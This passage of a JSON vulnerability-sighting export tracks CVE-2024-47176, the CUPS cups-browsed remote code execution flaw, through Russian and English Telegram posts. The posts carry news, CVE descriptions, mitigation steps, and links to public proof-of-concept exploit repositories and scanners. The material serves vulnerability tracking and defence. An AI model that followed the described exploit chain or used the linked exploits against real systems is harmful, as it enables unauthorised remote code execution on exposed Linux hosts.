\u043d\u0435\u0442 \u0438 \u043d\u0430 \u0441\u0435\u0433\u043e\u0434\u043d\u044f\u0448\u043d\u0438\u0439 \u0434\u0435\u043d\u044c. \u041e\u0431\u0435\u0449\u0430\u043d\u0438\u044f \u00abRCE \u0441 CVSS 9.9\u00bb \u0431\u0435\u0437\u0443\u0441\u043b\u043e\u0432\u043d\u043e \u0432\u0437\u0431\u0443\u0434\u043e\u0440\u0430\u0436\u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u0441\u0442\u0432\u043e, \u0438 \u043e \u0431\u0430\u0433\u0435 \u043d\u0430\u043f\u0438\u0441\u0430\u043b\u0438 \u0432\u0441\u0435 \u043a\u0440\u0443\u043f\u043d\u044b\u0435 VM-\u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u044f\u0432\u0438\u043b\u0438\u0441\u044c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e PoC.\n\u041d\u043e \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043f\u043e\u043b\u044c\u0437\u0430 \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432 \u0432 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0430\u0445 \u043f\u043e\u0434 \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u043c \u2014 \u043f\u0435\u0447\u0430\u0442\u044c \u0441 Linux-\u043c\u0430\u0448\u0438\u043d  \u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043c\u0430\u0441\u0441\u043e\u0432\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u043c \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0435\u043c, \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 \u043d\u0430 \u0432\u0445\u043e\u0434\u044f\u0449\u0438\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u043f\u043e\u0440\u0442 631 \u0435\u0441\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0443 \u0441\u0430\u043c\u044b\u0445 \u0431\u0435\u0441\u043f\u0435\u0447\u043d\u044b\u0445, \u0438, \u043e\u043f\u044f\u0442\u044c \u0436\u0435, \u0443\u0431\u0435\u0434\u0438\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043d\u0430\u043f\u0435\u0447\u0430\u0442\u0430\u0442\u044c \u0447\u0442\u043e-\u0442\u043e \u043d\u0430 \u043d\u043e\u0432\u043e\u043c \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0435 \u043d\u0435\u043b\u0435\u0433\u043a\u043e.\n\n\u041d\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0432\u0441\u0451 \u0436\u0435 \u043f\u044b\u0442\u0430\u044e\u0442\u0441\u044f: \u0443\u0436\u0435 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u043d\u0435\u0434\u0435\u043b\u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u043c\u043d\u043e\u0433\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0435 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0430 \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0445\u043e\u0441\u0442\u043e\u0432 \u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0434\u0435\u0444\u0435\u043a\u0442\u0430. \u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Akamai (\u043d\u0430 \u0438\u043b\u043b\u044e\u0441\u0442\u0440\u0430\u0446\u0438\u0438), \u0432 \u0441\u0435\u0442\u044c \u0441\u043c\u043e\u0442\u0440\u0438\u0442 \u043e\u043a\u043e\u043b\u043e 75 \u0442\u044b\u0441\u044f\u0447 \u0445\u043e\u0441\u0442\u043e\u0432 \u0441 CUPS, \u0430 \u0441\u0435\u0440\u0432\u0438\u0441\u044b \u043f\u0435\u0447\u0430\u0442\u0438 \u0432 \u0441\u0440\u0435\u0434\u043d\u0435\u043c \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043d\u0430 10% Linux-\u0441\u0438\u0441\u0442\u0435\u043c. \u0412 \u0420\u0424 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u043e\u043a\u043e\u043b\u043e 5000 \u0445\u043e\u0441\u0442\u043e\u0432.   \n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u043f\u0430\u0442\u0447\u0435\u0439, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u0442\u044c. \u0412 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u0435 \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0438 \u0434\u0435\u0438\u043d\u0441\u0442\u0430\u043b\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0435\u0440\u0432\u0438\u0441 cups-browsed, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043e\u043d \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435. \n\u0422\u0430\u043a\u0436\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u043e\u0432\u0430\u043d\u043e \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432\u0445\u043e\u0434\u044f\u0449\u0438\u0435 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u043d\u0430 \u043f\u043e\u0440\u0442 631.\n\n\u0414\u043b\u044f \u0442\u0435\u0445, \u043a\u043e\u043c\u0443 \u043d\u0443\u0436\u043d\u043e \u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u0435\u0440\u0432\u0438\u0441 CUPS \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u043c, \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0435 \u0441\u043c\u044f\u0433\u0447\u0430\u044e\u0449\u0438\u0435 \u043c\u0435\u0440\u044b \u043e\u043f\u0438\u0441\u0430\u043d\u044b \u0432 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435 RedHat.\n\n#\u043d\u043e\u0432\u043e\u0441\u0442\u0438 #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 @\u041f2\u0422", "creation_timestamp": "2024-10-01T08:24:43.000000Z"}, {"uuid": "48be4667-51b5-4f7b-a3e0-dba5d8b9abdf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "published-proof-of-concept", "source": "Telegram/x_KGpvZo1FWYATjaZwHxv3n5_KpQVPPjqVTyMjO_dF0kjA", "content": "", "creation_timestamp": "2024-10-03T19:28:12.000000Z"}, {"uuid": "0e6d498a-47ad-4f02-924a-bc1b6e89613d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "published-proof-of-concept", "source": "https://t.me/ton618cyber/1491", "content": "#Threat_Research\n1. Watchguard Unauthenticated and Unencrypted SSO Protocol\nhttps://www.redteam-pentesting.de/en/advisories/rt-sa-2024-006\n2. Attacking UNIX Systems via CUPS (CVE-2024-47076, CVE-2024-47115, CVE-2024-47176, CVE-2024-47177)\nhttps://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I\n]-> https://github.com/RickdeJager/cupshax", "creation_timestamp": "2024-09-27T19:48:09.000000Z"}, {"uuid": "552ad9eb-862d-458e-9760-73e0542ef1cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "seen", "source": "https://t.me/ton618cyber/5323", "content": "New scanner finds Linux, UNIX servers exposed to CUPS RCE attacks\n\nAn automated scanner has been released to help security professionals scan environments for devices vulnerable to the Common Unix Printing System (CUPS) RCE flaw tracked as CVE-2024-47176.\n\nBill Toulas | bleepingcomputer.com \u2022 Oct 8, 2024", "creation_timestamp": "2024-10-09T00:58:35.000000Z"}, {"uuid": "8099ba9c-af52-4cb5-80aa-5abb592b6336", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "seen", "source": "https://t.me/cvedetector/6465", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-47176 - Vulnerability Title: CUPS cups-browsed Remote Code Execution Over Network (RCE)\", \n  \"Content\": \"CVE ID : CVE-2024-47176 \nPublished : Sept. 26, 2024, 10:15 p.m. | 18\u00a0minutes ago \nDescription : CUPS is a standards-based, open-source printing system, and `cups-browsed` contains network printing functionality including, but not limited to, auto-discovering print services and shared printers. `cups-browsed` binds to `INADDR_ANY:631`, causing it to trust any packet from any source, and can cause the `Get-Printer-Attributes` IPP request to an attacker controlled URL.  \n  \nDue to the service binding to `*:631 ( INADDR_ANY )`, multiple bugs in `cups-browsed` can be exploited in sequence to introduce a malicious printer to the system. This chain of exploits ultimately enables an attacker to execute arbitrary commands remotely on the target machine without authentication when a print job is started. This poses a significant security risk over the network. Notably, this vulnerability is particularly concerning as it can be exploited from the public internet, potentially exposing a vast number of systems to remote attacks if their CUPS services are enabled. \nSeverity: 8.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-27T00:42:06.000000Z"}, {"uuid": "bfd15121-a6db-4750-b4fa-eadb68df539f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "seen", "source": "https://t.me/cvedetector/6464", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-47175 - CUPS Libppd IPP Attribute Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-47175 \nPublished : Sept. 26, 2024, 10:15 p.m. | 18\u00a0minutes ago \nDescription : CUPS is a standards-based, open-source printing system, and `libppd` can be used for legacy PPD file support. The `libppd` function `ppdCreatePPDFromIPP2` does not sanitize IPP attributes when creating the PPD buffer. When used in combination with other functions such as `cfGetPrinterAttributes5`, can result in user controlled input and ultimately code execution via Foomatic. This vulnerability can be part of an exploit chain leading to remote code execution (RCE), as described in CVE-2024-47176. \nSeverity: 8.6 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-27T00:42:06.000000Z"}, {"uuid": "f2e2fc5b-58c6-460a-9565-c5244d42ef02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "published-proof-of-concept", "source": "https://t.me/TheDarkWebInformer/4947", "content": "\ud83d\udca1CVE-2024-47176 Vulnerability Scanner (Cups-Browsed)\n\nhttps://darkwebinformer.com/cve-2024-47176-vulnerability-scanner-cups-browsed/", "creation_timestamp": "2024-10-08T23:55:05.000000Z"}, {"uuid": "583d1f00-4603-42b2-a6e3-f4abd0edaad6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "seen", "source": "https://t.me/ton618cyber/1843", "content": "New scanner finds Linux, UNIX servers exposed to CUPS RCE attacks\n\nAn automated scanner has been released to help security professionals scan environments for devices vulnerable to the Common Unix Printing System (CUPS) RCE flaw tracked as CVE-2024-47176.\n\nBill Toulas | bleepingcomputer.com \u2022 Oct 8, 2024", "creation_timestamp": "2024-10-09T00:58:35.000000Z"}, {"uuid": "eb51e6cf-4239-4bd1-ae59-b61af73281d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "published-proof-of-concept", "source": "https://t.me/ton618cyber/4721", "content": "#Threat_Research\n1. Watchguard Unauthenticated and Unencrypted SSO Protocol\nhttps://www.redteam-pentesting.de/en/advisories/rt-sa-2024-006\n2. Attacking UNIX Systems via CUPS (CVE-2024-47076, CVE-2024-47115, CVE-2024-47176, CVE-2024-47177)\nhttps://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I\n]-> https://github.com/RickdeJager/cupshax", "creation_timestamp": "2024-09-27T19:48:09.000000Z"}, {"uuid": "7fe15303-ec16-4534-9b60-3095e1e2e871", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "published-proof-of-concept", "source": "https://t.me/realLulzSec/2159", "content": "https://github.com/l0n3m4n/CVE-2024-47176\n\nUnauthenticated RCE on cups-browsed (exploit and nuclei template)\n#github #exploit", "creation_timestamp": "2024-10-03T19:26:01.000000Z"}, {"uuid": "fe3d0f6e-f56f-4a32-9967-17c4c8ddca6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "published-proof-of-concept", "source": "https://t.me/realLulzSec/19177", "content": "https://github.com/l0n3m4n/CVE-2024-47176\n\nUnauthenticated RCE on cups-browsed (exploit and nuclei template)\n#github #exploit", "creation_timestamp": "2024-10-03T19:26:01.000000Z"}, {"uuid": "7a69ad42-75fc-4817-bca4-ed4137522c59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "published-proof-of-concept", "source": "https://t.me/HackingInsights/15425", "content": "\u200aResearcher Releases Open-Source Scanner for CVE-2024-47176 CUPS Vulnerability\n\nhttps://securityonline.info/researcher-releases-open-source-scanner-for-cve-2024-47176-cups-vulnerability/", "creation_timestamp": "2024-10-08T14:31:02.000000Z"}, {"uuid": "cf325690-8447-4aff-a6eb-9a9009b4c548", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "published-proof-of-concept", "source": "Telegram/wf6_1JKBCzuNNq3dQU6jatGAoF0f6DzPux9cbboZAdBa3Ds", "content": "", "creation_timestamp": "2024-10-09T00:48:15.000000Z"}, {"uuid": "ef07c574-1c48-4743-a6ab-1844c74d4906", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "published-proof-of-concept", "source": "https://t.me/dc_main/7090", "content": "CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177: Linux OpenPrinting CUPS RCE\n\nPoC: https://github.com/RickdeJager/cupshax\n\npatch:\nsudo systemctl stop cups-browsed\nsudo systemctl disable cups-browsed\n\n#exploit #git #pentest #redteam", "creation_timestamp": "2024-10-08T17:36:48.000000Z"}, {"uuid": "b69de4d0-310e-4131-a5ec-5fd6c009c497", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "published-proof-of-concept", "source": "https://t.me/zer0day1ab/292", "content": "CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177: Linux OpenPrinting CUPS RCE\n\nPoC: https://github.com/RickdeJager/cupshax\n\npatch:\nsudo systemctl stop cups-browsed\nsudo systemctl disable cups-browsed\n\n#exploit #git #pentest #redteam", "creation_timestamp": "2024-10-08T11:44:31.000000Z"}, {"uuid": "bd56c9e5-9c27-4c29-935f-1fb843ce52ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "seen", "source": "Telegram/N1DtHFsyDu8hfvxEilITvr_MpXXai-04yAKGKsC4ri00ulA", "content": "", "creation_timestamp": "2024-09-27T17:08:06.000000Z"}, {"uuid": "7ea9f1db-e976-4bdd-bdc8-5c77ccd29ee6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-47176", "type": "published-proof-of-concept", "source": "https://t.me/true_secator/6260", "content": "\u041a\u0438\u0431\u0435\u0440\u043f\u043e\u0434\u043f\u043e\u043b\u044c\u0435 \u043d\u0430\u0446\u0435\u043b\u0438\u043b\u043e\u0441\u044c \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 \u043f\u0435\u0447\u0430\u0442\u0438 CUPS, \u043c\u0430\u0441\u0441\u043e\u0432\u043e \u0441\u043a\u0430\u043d\u0438\u0440\u0443\u044f \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442 \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u043d\u0430\u043b\u0438\u0447\u0438\u044f \u0432 \u043d\u0435\u043c \u0441\u0438\u0441\u0442\u0435\u043c UNIX \u0441 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b\u043c\u0438 \u043f\u043e\u0440\u0442\u0430\u043c\u0438 \u043f\u0435\u0447\u0430\u0442\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0421\u0438\u043c\u043e\u043d\u0435 \u041c\u0430\u0440\u0433\u0430\u0440\u0438\u0442\u0435\u043b\u043b\u0438 \u0435\u0449\u0435 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u0433\u043e\u0434\u0430 \u0438 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b \u0432 \u043a\u043e\u043d\u0446\u0435 \u043f\u0440\u043e\u0448\u043b\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0438.\n\n\u041e\u043d\u0438 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a CVE-2024-47176, CVE-2024-47076, CVE-2024-47175 \u0438 CVE-2024-47177.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442 CUPS, \u043e\u0431\u0449\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u043f\u0435\u0447\u0430\u0442\u0438 UNIX, \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c UNIX \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u043f\u0435\u0447\u0430\u0442\u0438.\n\n\u0412\u0441\u0435 \u043e\u043d\u0438 \u0432\u044b\u0441\u0442\u0443\u043f\u0430\u044e\u0442 \u0447\u0430\u0441\u0442\u044c\u044e \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043f\u0440\u0438\u043d\u0442\u0435\u0440, \u0438\u043d\u0434\u0435\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u0438\u043d\u0442\u0435\u0440 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 CUPS \u0436\u0435\u0440\u0442\u0432\u044b, \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u0432\u043d\u0443\u0442\u0440\u0438 \u0444\u0430\u0439\u043b\u0430 PPD \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0435\u0433\u043e \u0438\u0437 \u0444\u0430\u0439\u043b\u0430 PPD, \u043a\u043e\u0433\u0434\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u043f\u0435\u0447\u0430\u0442\u0438 \u0447\u0435\u0440\u0435\u0437 (\u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439) \u043f\u0440\u0438\u043d\u0442\u0435\u0440 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430.\n\n\u041a \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u043c\u0443 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0430\u0448\u043b\u0438 \u043e\u0442\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0432 \u043e\u0442\u0447\u0435\u0442\u0430\u0445 Akamai, Rapid7, Elastic, Tenable, Qualys, DataDog \u0438 AquaSec, \u043d\u043e \u043f\u0440\u0438\u0432\u043b\u0435\u043a\u043b\u0438 \u043f\u0440\u0438\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043f\u043e\u0441\u043b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u041c\u0430\u0440\u0433\u0430\u0440\u0438\u0442\u0435\u043b\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u0432 X \u0434\u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439.\n\n\u041d\u043e \u043d\u0435 \u0442\u0430\u043a \u0432\u0441\u0435 \u043f\u043b\u043e\u0445\u043e, \u0432\u0435\u0434\u044c \u043e\u0448\u0438\u0431\u043a\u0430\u043c \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043d\u0435 \u0432\u0441\u0435 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u044b Linux (\u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435), \u0430 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438\u0445 \u043c\u043e\u0436\u043d\u043e \u043b\u0438\u0448\u044c \u0432 \u043e\u0447\u0435\u043d\u044c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0445 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u044f\u0445, \u0442\u0430\u043a \u0447\u0442\u043e \u0441\u0442\u0435\u043f\u0435\u043d\u044c \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438 (CVSS 9,9), \u043f\u043e \u043c\u043d\u0435\u043d\u0438\u044e \u043c\u043d\u043e\u0433\u0438\u0445 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0437\u0430\u0432\u044b\u0448\u0435\u043d\u0430.\n\n\u0422\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435, \u043f\u043e\u043c\u0438\u043c\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439, \u0432 \u043a\u043e\u043d\u0446\u0435 \u043f\u0440\u043e\u0448\u043b\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0438 \u041c\u0430\u0440\u0433\u0430\u0440\u0438\u0442\u0435\u043b\u043b\u0438 \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438 PoC, \u0447\u0442\u043e \u0438 \u0432\u044b\u0437\u0432\u0430\u043b\u043e \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u043f\u043e\u0438\u0441\u043a\u0430 UDP-\u043f\u043e\u0440\u0442\u0430 631, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440 CUPS \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u0438\u0432\u0430\u0435\u0442 \u043d\u043e\u0432\u044b\u0435 \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u044b, \u0441\u043e\u043e\u0431\u0449\u0430\u044e\u0449\u0438\u0435 \u043e \u0441\u0432\u043e\u0435\u043c \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0438.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e CUPS \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0432 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u0435 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432, \u043f\u043e \u0434\u0430\u043d\u043d\u044b\u043c\u00a0Shodan, \u0432 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u0431\u043e\u043b\u0435\u0435 75\u00a0000 \u0441\u0438\u0441\u0442\u0435\u043c, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0438\u0445 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c CUPS, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0447\u0435\u0440\u0435\u0437 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0434\u0440\u0443\u0433\u0438\u0435 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u0431\u043e\u043b\u0435\u0435 107\u00a0000, \u043d\u043e \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438 